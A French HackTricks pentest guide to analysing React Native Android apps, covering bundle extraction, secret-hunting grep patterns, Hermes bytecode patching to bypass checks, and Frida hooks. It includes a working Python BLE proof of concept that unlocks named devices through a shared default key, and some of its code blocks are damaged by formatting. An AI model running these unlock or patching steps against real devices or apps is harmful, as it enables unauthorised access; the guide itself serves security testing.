Analyse d’une application React Native

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Pour confirmer si l’application a été construite avec le framework React Native, suivez ces étapes :

  1. Renommez le fichier APK en extension zip et extrayez-le dans un nouveau dossier en utilisant la commande cp com.example.apk example-apk.zip et unzip -qq example-apk.zip -d ReactNative.

  2. Accédez au dossier ReactNative nouvellement créé et localisez le dossier assets. À l’intérieur de ce dossier, vous devriez trouver le fichier index.android.bundle, qui contient le JavaScript React au format minifié.

  3. Utilisez la commande find . -print | grep -i ".bundle$" pour rechercher le fichier JavaScript.

Remarque : Si on vous fournit un Android App Bundle (.aab) au lieu d’un APK, générez d’abord un APK universel puis extrayez le bundle :

# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite

# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/

Javascript Code

En examinant le contenu de index.android.bundle, vous trouverez le code JavaScript de l’application (même s’il est minifié). Vous pouvez l’analyser pour trouver des informations sensibles et des vulnérabilités.

Comme le bundle contient en réalité tout le code JS de l’application, il est possible de le diviser en différents fichiers (ce qui peut faciliter son reverse engineering) en utilisant l’outil react-native-decompiler.

Webpack

Pour analyser plus en détail le code JavaScript, vous pouvez téléverser le fichier sur https://spaceraccoon.github.io/webpack-exploder/ ou suivre ces étapes:

  1. Créez un fichier nommé index.html dans le même répertoire avec le code suivant:
<script src="./index.android.bundle"></script>
  1. Ouvrez le fichier index.html dans Google Chrome.

  2. Ouvrez la Developer Toolbar en appuyant sur Command+Option+J for OS X ou Control+Shift+J for Windows.

  3. Cliquez sur “Sources” dans la Developer Toolbar. Vous devriez voir un fichier JavaScript réparti en dossiers et fichiers, constituant le main bundle.

Si vous trouvez un fichier appelé index.android.bundle.map, vous pourrez analyser le code source dans un format non-minifié. Les fichiers map contiennent du source mapping, ce qui permet d’associer les identifiants minifiés à leur source.

Pour rechercher des credentials sensibles et des endpoints, suivez ces étapes :

  1. Identifiez les mots-clés sensibles pour analyser le code JavaScript. Les applications React Native utilisent souvent des services tiers comme Firebase, AWS S3 service endpoints, des private keys, etc.

  2. Dans ce cas précis, l’application utilisait le service Dialogflow. Recherchez un pattern lié à sa configuration.

  3. Par chance, des credentials hard-coded sensibles ont été trouvés dans le code JavaScript pendant le processus de recon.

Quick secrets/endpoint hunting in bundles

Ces greps simples font souvent remonter des indicateurs intéressants même dans du JS minifié :

# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"

# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"

# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"

# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"

# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"

Si vous suspectez des frameworks de mise à jour Over-The-Air, recherchez aussi :

  • Microsoft App Center / CodePush deployment keys
  • Expo EAS Updates configuration (expo-updates, expo\.io, certificats de signature)

Modifier le code JS et reconstruire

Dans ce cas, modifier le code est facile. Il suffit de renommer l’app pour utiliser l’extension .zip et de l’extraire. Ensuite, vous pouvez modifier le JS code à l’intérieur de ce bundle et reconstruire l’app. Cela devrait suffire pour vous permettre de inject code dans l’app à des fins de test.

Hermes bytecode

Si le bundle contient Hermes bytecode, vous ne pourrez pas accéder au Javascript code de l’app (même pas à la version minified).

Vous pouvez vérifier si le bundle contient Hermes bytecode en exécutant la commande suivante:

file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96

Cependant, vous pouvez utiliser les outils hbctool, des forks mis à jour de hbctool qui prennent en charge des versions de bytecode plus récentes, hasmer, hermes_rs (bibliothèque/API Rust), ou hermes-dec pour désassembler le bytecode et aussi pour le décompiler en un pseudo-code JS. Par exemple:

# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm   ./hasm_out ./index.android.bundle

# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out

# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js

Tip: Le projet open-source Hermes fournit aussi des outils pour développeurs tels que hbcdump dans des versions spécifiques de Hermes. Si vous compilez la version de Hermes correspondant à celle utilisée pour produire le bundle, hbcdump peut extraire les fonctions, les tables de chaînes et le bytecode pour une analyse plus approfondie.

Modifier le code et reconstruire (Hermes)

Idéalement, vous devriez pouvoir modifier le code désassemblé (changer une comparaison, une valeur ou ce dont vous avez besoin) puis reconstruire le bytecode et reconstruire l’application.

  • L’original hbctool prend en charge le désassemblage du bundle et sa reconstruction après modifications, mais historiquement ne supportait que les anciennes versions du bytecode. Des forks maintenus par la communauté étendent la prise en charge aux versions Hermes plus récentes (y compris entre environ 80 et 96) et sont souvent l’option la plus pratique pour patcher des apps RN modernes.
  • L’outil hermes-dec ne supporte pas la reconstruction du bytecode (décompilateur/désassembleur uniquement), mais il est très utile pour naviguer la logique et extraire des chaînes.
  • L’outil hasmer vise à prendre en charge à la fois le désassemblage et l’assemblage pour plusieurs versions de Hermes ; l’assemblage est encore en maturation mais vaut la peine d’être essayé sur du bytecode récent.

Un flux de travail minimal avec des assembleurs de type hbctool :

# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm

# 2) Edit a guard or feature flag (example: force boolean true)
#    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
#    or change a conditional jump target to bypass a check.

# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle

# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)

Notez que le format de bytecode Hermes est versionné et que l’assembler doit correspondre exactement au format sur disque. Si vous obtenez des erreurs de format, passez à un fork/alternative mis à jour ou reconstruisez les outils Hermes correspondants.

Analyse dynamique

Une approche pour analyser dynamiquement l’application consiste à utiliser Frida pour activer le mode développeur de l’application React et utiliser react-native-debugger pour s’y attacher. Cependant, pour cela, il semble que vous ayez besoin du code source de l’application. Vous pouvez trouver plus d’informations à ce sujet sur https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.

Activer Dev Support dans une release avec Frida (précautions)

Certaines applications incluent par erreur des classes qui rendent Dev Support activable. Si elles sont présentes, vous pouvez essayer de forcer getUseDeveloperSupport() à renvoyer true :

// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});

Avertissement : Dans des builds release correctement construits, DevSupportManagerImpl et les classes debug-only associées sont supprimées et basculer ce flag peut faire planter l’app ou n’avoir aucun effet. Quand cela fonctionne, vous pouvez généralement exposer le dev menu et attacher des debuggers/inspectors.

Interception réseau dans les apps RN

React Native Android s’appuie généralement sur OkHttp en interne (via le module natif Networking). Pour intercepter/observer le trafic sur un appareil non-rooté lors de tests dynamiques :

  • Utiliser un proxy système + trust user CA ou employer d’autres techniques génériques de contournement TLS Android.
  • Astuce spécifique RN : si l’app embarque Flipper en release par erreur (debug tooling), le plugin Flipper Network peut exposer les requêtes/réponses.

Pour des techniques génériques d’interception Android et de contournement du pinning, se référer à :

Make APK Accept CA Certificate

Objection Tutorial

Découverte du protocole GATT à l’exécution avec Frida (compatible Hermes)

Lorsque le bytecode Hermes bloque une inspection statique facile du JS, hookez la stack BLE Android à la place. android.bluetooth.BluetoothGatt et BluetoothGattCallback exposent tout ce que l’app envoie/reçoit, vous permettant d’inverser les trames propriétaires challenge-response et de commande sans le source JS.

Enregistreur GATT Frida (UUID + hex/ASCII dumps) ```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');

G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) { console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); return this.writeCharacteristic(c); }; G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) { console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v)); return this.writeCharacteristic(c,v,t); }; Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) { console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n); }; Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) { var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v)); return this.onCharacteristicRead(g,c,s); }; Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) { var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v)); return this.onCharacteristicChanged(g,c); }; });

</details>

Hook `java.security.MessageDigest` pour identifier les handshakes basés sur des hash et capturer la concaténation exacte des entrées :

<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});

Un flux BLE réel récupéré de cette façon :

  • Lire le challenge depuis 00002556-1212-efde-1523-785feabcd123.
  • Calculer response = SHA1(challenge || key) où la key était une valeur par défaut de 20 octets à 0xFF provisionnée sur tous les appareils.
  • Écrire le response dans 00002557-1212-efde-1523-785feabcd123, puis émettre des commandes sur 0000155f-1212-efde-1523-785feabcd123.

Une fois authentifié, les commandes étaient des trames de 10 octets vers ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Exemples : déverrouiller 00 D4 00 01 00 00 00 00 00 00, verrouiller ...02..., mode éco activé ...03...01..., ouvrir la batterie ...04.... Les notifications arrivaient sur 0000155e-1212-efde-1523-785feabcd123 (registry 2 octets + payload), et les valeurs de registry pouvaient être interrogées en écrivant l’ID de registry sur 00001564-1212-efde-1523-785feabcd123 puis en lisant depuis ...155f....

Avec une key partagée/par défaut le challenge-response s’annule. Tout attaquant à proximité peut calculer le digest et envoyer des commandes privilégiées. Un PoC bleak minimal :

Python (bleak) BLE auth + unlock via default key ```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"

def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())

</details>

## Problèmes récents dans des bibliothèques RN populaires (ce qu'il faut chercher)

Lors de l'audit de modules tiers visibles dans le JS bundle ou les libs natives, vérifiez les vulnérabilités connues et confirmez les versions dans `package.json`/`yarn.lock`.

- react-native-mmkv (Android): les versions antérieures à 2.11.0 enregistraient la clé de chiffrement optionnelle dans les logs Android. Si ADB/logcat est accessible, des secrets pourraient être récupérés. Assurez-vous d'utiliser >= 2.11.0. Indicateurs : utilisation de `react-native-mmkv`, déclarations de log mentionnant l'init de MMKV avec chiffrement. CVE-2024-21668.
- react-native-document-picker: les versions < 9.1.1 étaient vulnérables à path traversal sur Android (sélection de fichier), corrigé dans 9.1.1. Validez les entrées et la version de la bibliothèque.

Contrôles rapides :
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks